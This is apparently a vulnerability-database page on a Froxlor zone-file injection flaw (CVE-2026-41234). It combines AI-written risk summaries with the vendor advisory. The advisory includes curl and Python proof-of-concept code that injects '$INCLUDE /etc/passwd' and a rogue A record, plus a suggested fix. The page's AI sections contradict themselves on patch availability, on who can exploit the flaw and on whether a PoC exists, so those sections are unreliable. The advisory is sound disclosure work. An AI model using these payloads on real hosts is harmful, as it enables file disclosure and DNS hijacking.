Skip to main content

Froxlor CVE-2026-41234

| EUVDEUVD-2026-34313 HIGH
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (CWE-74)
2026-06-03 https://github.com/froxlor/froxlor GHSA-37m5-m4q3-fc6x
7.6
CVSS 3.1 · Vendor: https://github.com/froxlor/froxlor
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain customer account with DNS editing
  2. Delivery
    Identify BIND-enabled domain
  3. Exploit
    Submit DomainZones.add TXT with embedded newline + $INCLUDE
  4. Execution
    Wait for DNS rebuild cron to write zone
  5. Persist
    BIND parses injected directive on reload
  6. Impact
    Read server files via listing or hijack subdomain DNS

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Input neutralization, injection prevention
Exploitation Conditions

Exploitation requires (1) an authenticated Froxlor customer account whose dnsenabled flag is set to 1, (2) at least one domain on that account with isbinddomain=1, (3) the global Froxlor settings system.bind_enable=1 and system.dnsenabled=1 so the BIND zone-rebuild cron actually consumes the tampered content, and (4) network reach to /api.php with an API key/secret or to the web UI DNS editor. Exploitation is limited to TXT record submissions through DomainZones.add (and the equivalent web flow) on Froxlor versions <=2.3.6; deployments that disable customer DNS editing, run Froxlor without BIND, or have already upgraded to 2.3.7 are not exposed. The attacker does not need admin privileges and no user interaction is required beyond the cron firing.

Impact

CVSS 7.6 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L) accurately reflects the trade-offs: network reachable, low complexity, no user interaction, but requiring low-privilege authentication (a customer account with DNS editing enabled and a domain flagged isbinddomain=1). The High Integrity impact is justified because attackers control the BIND zone served to the internet (subdomain hijack, MX rerouting), while Low Confidentiality reflects that $INCLUDE only exposes files BIND can read (world-readable, or owned by the BIND user) and Low Availability captures the zone-rejection DoS scenario. No EPSS score and no CISA KEV listing are provided in the input, so probability-of-exploitation cannot be quantified from the data given; however, publicly available exploit code exists (curl one-liners and a Python PoC are published in the GHSA advisory), meaningfully lowering the bar for opportunistic abuse by any customer of a multi-tenant Froxlor host. This is a real priority for shared-hosting providers running Froxlor where untrusted customers can edit DNS, and a lower priority for single-tenant deployments where only trusted admins have DNS rights.

Exploit ScenarioDerived

An attacker registers (or compromises) a low-privileged customer account on a shared Froxlor host, ensures they own a domain with BIND DNS enabled, and submits a DomainZones.add API call (or an intercepted web-UI POST) with a TXT record whose content embeds \n$INCLUDE /etc/passwd or \nevil 18000 IN A 6.6.6.6. When the DNS rebuild cron next regenerates zone files, BIND parses the injected directive - either reading a server-side file and exposing its contents back through DomainZones.listing/DNS queries, or publishing attacker-controlled A/MX/CNAME records that enable phishing subdomains, mail interception, or subdomain takeover. A turnkey Python PoC is published in the GHSA advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 03, 2026

Authenticated zone-file injection in Froxlor <=2.3.6 allows a customer with DNS editing enabled to inject newline characters into TXT record content via the DomainZones.add API, breaking out of the record line in the generated BIND zone file and injecting arbitrary BIND directives ($INCLUDE, $GENERATE) or DNS records (A, MX, CNAME). The flaw is an incomplete fix for CVE-2026-30932, which sanitized LOC/RP/SSHFP/TLSA records but left TXT handling reliant only on Dns::encloseTXTContent(), which strips no control characters. Publicly available exploit code exists (detailed PoC including a Python script in the GHSA advisory), but there is no public exploit identified at time of analysis in CISA KEV and no EPSS score was provided.

RemediationAI

Vendor-released patch: upgrade to Froxlor 2.3.7, which per the release notes at https://github.com/froxlor/froxlor/releases/tag/2.3.7 explicitly 'remove[s] invalid control characters in every dns content-field' (see also advisory GHSA-37m5-m4q3-fc6x). If immediate upgrade is not possible, apply the maintainer-suggested minimal fix in lib/Froxlor/Api/Commands/DomainZones.php around line 306 by inserting $content = str_replace(["\n","\r","\t"], '', $content); before the call to Dns::encloseTXTContent(); a more comprehensive in-place fix is to add a validateDnsTxt() helper that rejects any content containing $ or newline characters and to remove the TODO comment at line 148. As a configuration-level workaround for operators who cannot patch, disable customer DNS editing by setting customer dnsenabled=0 or globally setting system.dnsenabled=0 - trade-off: customers lose the ability to manage their own zones; alternatively, restrict access to /api.php and the web DNS editor so only trusted staff can submit DomainZones.add/update requests, accepting the operational overhead of staff-mediated DNS changes.

Affected VersionsENISA

Froxlor < 2.3.7

Affected Packages

composer froxlor/froxlor fix: 2.3.7
euvd froxlor fix: 2.3.7

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Froxlor is a PHP-based open-source server management panel (packaged as composer/froxlor/froxlor) used to provision web hosting, mail, and DNS services backed by BIND. The vulnerable code path is lib/Froxlor/Api/Commands/DomainZones.php lines 306-308, where TXT content is passed through Dns::encloseTXTContent() (lib/Froxlor/Dns/Dns.php:571-592), a routine that only normalizes surrounding double quotes. The sanitized value flows into DnsEntry::__toString() (lib/Froxlor/Dns/DnsEntry.php:83), which concatenates the attacker-controlled string directly into the zone line followed by PHP_EOL; embedded \n or \r therefore produces additional lines in the BIND zone file written by the DNS rebuild cron. This is a textbook CWE-74 (improper neutralization of special elements in output used by a downstream component) - the downstream component being BIND's zone-file parser, which honors $INCLUDE and $GENERATE directives present at line start. The matching v2.3.5 patch for CVE-2026-30932 added per-type validation functions (validateDnsLoc, validateDnsRp, validateDnsSshfp, validateDnsTlsa) but never reached TXT, and a TODO comment at DomainZones.php:148 (// TODO regex validate content for invalid characters) was left in place.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/froxlor/froxlor) PRIMARY 7.6 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L

Primary rating from Vendor (https://github.com/froxlor/froxlor) · only source for this CVE.

CVSS VectorVendor: https://github.com/froxlor/froxlor

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
Low

DescriptionCVE.org

Summary

The DomainZones.add API endpoint does not sanitize newline characters in TXT record content. An authenticated customer with DNS editing enabled can inject newlines into TXT record values, which break out of the record line in the generated BIND zone file. This enables injection of arbitrary BIND directives ($INCLUDE, $GENERATE) and arbitrary DNS records (A, MX, CNAME) into the zone file written to disk by the DNS rebuild cron.

This is an incomplete fix for CVE-2026-30932 (GHSA-x6w6-2xwp-3jh6), which patched the same newline injection for LOC, RP, SSHFP, and TLSA record types but did not patch TXT records.

Affected Code

lib/Froxlor/Api/Commands/DomainZones.php, lines 306-308:

php
} elseif ($type == 'TXT' && !empty($content)) {
    // check that TXT content is enclosed in " "
    $content = Dns::encloseTXTContent($content);
}

Dns::encloseTXTContent() (lib/Froxlor/Dns/Dns.php:571-592) only adds or removes surrounding quote characters. It does not strip newlines, carriage returns, or any BIND zone metacharacters.

Line 148 of DomainZones.php still contains:

php
// TODO regex validate content for invalid characters

The content flows to the zone file via DnsEntry::__toString() (lib/Froxlor/Dns/DnsEntry.php:83), which concatenates $this->content directly into the zone line followed by PHP_EOL. Embedded newlines in the content produce additional lines in the zone file output.

Comparison with CVE-2026-30932 fix

The v2.3.5 fix for CVE-2026-30932 added validation functions for these types:

TypeValidation AddedStill Vulnerable?
LOCValidate::validateDnsLoc() (strict regex)No
RPValidate::validateDnsRp() (domain validation)No
SSHFPValidate::validateDnsSshfp() (3-part split)No
TLSAValidate::validateDnsTlsa() (4-part split)No
TXTDns::encloseTXTContent() (quotes only)Yes

PoC

Environment

  • Froxlor 2.3.5, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4)
  • DNS enabled (system.bind_enable=1, system.dnsenabled=1)
  • Customer with dnsenabled=1, domain with isbinddomain=1
  • Customer has an API key (or uses the web UI DNS editor with Burp)

Reproduction via API

bash
# Inject $INCLUDE directive to read /etc/passwd
curl -s -u "API_KEY:API_SECRET" \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "DomainZones.add",
    "params": {
      "domainname": "testdomain.lab",
      "type": "TXT",
      "record": "@",
      "content": "v=spf1 +all\"\n$INCLUDE /etc/passwd",
      "ttl": 18000
    }
  }' \
  https://panel.example.com/api.php

Reproduction via Web UI (Burp)

  1. Log in as a customer with DNS editing enabled
  2. Navigate to Resources > Domains > (domain) > DNS Editor
  3. Add a new record: Type = TXT, Record = @, Content = any
  4. Intercept the POST request in Burp Suite
  5. Change the dns_content parameter to: v=spf1 +all"%0a$INCLUDE /etc/passwd

(%0a is URL-encoded newline)

  1. Forward the request

Result

The API returns the generated zone content. The TXT record line is split at the newline, and $INCLUDE /etc/passwd appears on its own line as a BIND directive:

$TTL 604800
$ORIGIN testdomain.lab.
@   604800  IN  SOA  froxlor.lab admin.froxlor.lab. 2026041004 ...
@   18000   IN  TXT  "v=spf1 +all"
$INCLUDE /etc/passwd"
@   604800  IN  A    100.95.188.127
*   604800  IN  A    100.95.188.127

When the DNS rebuild cron runs, BIND processes the $INCLUDE directive and attempts to read /etc/passwd.

Variant: Arbitrary DNS record injection

The same technique injects arbitrary A/MX/CNAME records:

bash
curl -s -u "API_KEY:API_SECRET" \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "DomainZones.add",
    "params": {
      "domainname": "testdomain.lab",
      "type": "TXT",
      "record": "_spf",
      "content": "v=spf1 +all\"\nevil\t18000\tIN\tA\t6.6.6.6",
      "ttl": 18000
    }
  }' \
  https://panel.example.com/api.php

Result:

_spf   18000  IN  TXT  "v=spf1 +all"
evil   18000  IN  A    6.6.6.6

evil.testdomain.lab now resolves to attacker IP 6.6.6.6.

Automated PoC Script

python
#!/usr/bin/env python3
"""Froxlor <= 2.3.5 TXT Zone Injection - Incomplete CVE-2026-30932 Fix"""
import json, sys, requests, urllib3
urllib3.disable_warnings()

def api(target, key, secret, cmd, params=None):
    return requests.post(f"{target.rstrip('/')}/api.php",
        auth=(key, secret), json={"command": cmd, "params": params or {}},
        verify=False).json()

target, key, secret, domain = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]
# Inject $INCLUDE
r = api(target, key, secret, "DomainZones.add", {
    "domainname": domain, "type": "TXT", "record": "@",
    "content": 'v=spf1 +all"\n$INCLUDE /etc/passwd', "ttl": 18000})

for line in r.get("data", []):
    tag = "   <-- INJECTED" if "$INCLUDE" in str(line) else ""
    if line: print(f"  {line}{tag}")

print("\nCONFIRMED" if any("$INCLUDE" in str(l) for l in r.get("data",[])) else "FAILED")

Usage: python3 poc.py https://panel.example.com API_KEY API_SECRET domain.tld

Impact

  1. Information Disclosure: $INCLUDE directs BIND to read arbitrary world-readable files on the server. The included content is parsed as zone data and can be retrieved by the customer via DomainZones.listing or DNS queries to records created from parsed file lines.
  2. DNS Record Injection: Newline breakout allows injection of A, MX, CNAME, and other records into the zone file. A customer can point subdomains to attacker-controlled IPs, intercept email via MX injection, or perform subdomain takeover via CNAME injection.
  3. DNS Service Disruption: Malformed zone content causes BIND to reject the zone, creating a DNS outage for the affected domain. $GENERATE directives can create massive record sets for amplification.

Suggested Fix

Strip newlines and BIND metacharacters from TXT content. Minimal fix:

php
// lib/Froxlor/Api/Commands/DomainZones.php, around line 306
} elseif ($type == 'TXT' && !empty($content)) {
    // Strip characters that can break zone file format
    $content = str_replace(["\n", "\r", "\t"], '', $content);
    $content = Dns::encloseTXTContent($content);
}

A more comprehensive fix would add a validation function (similar to validateDnsLoc, validateDnsSshfp, etc.) that rejects any content containing zone metacharacters ($, newlines), and remove the TODO at line 148.

Executive ViewAI

Why It Matters

Froxlor DNS control panel versions 2.3.6 and earlier allow authenticated administrators with DNS editing privileges to inject unauthorized DNS records and directives, with publicly available exploitation code documented. Organizations operating affected versions must immediately restrict DNS administrative privileges and audit zone files for unauthorized modifications.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict DNS editing (DomainZones.add API) access to trusted administrators only, with approval workflows for privilege grants; (2) Enable comprehensive audit logging for all zone-file modifications with real-time alerting; (3) Disable DNS editing features for customer accounts without documented business necessity; (4) Monitor zone files for injection of unauthorized BIND directives ($INCLUDE, $GENERATE) or unexpected DNS records; (5) Implement network segmentation to limit access to Froxlor's DNS management APIs; (6) Conduct immediate audit of existing zone files for evidence of unauthorized modifications.

Threat Intelligence Overview

EPSS Score
0.0%
Top 87% exploitable
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy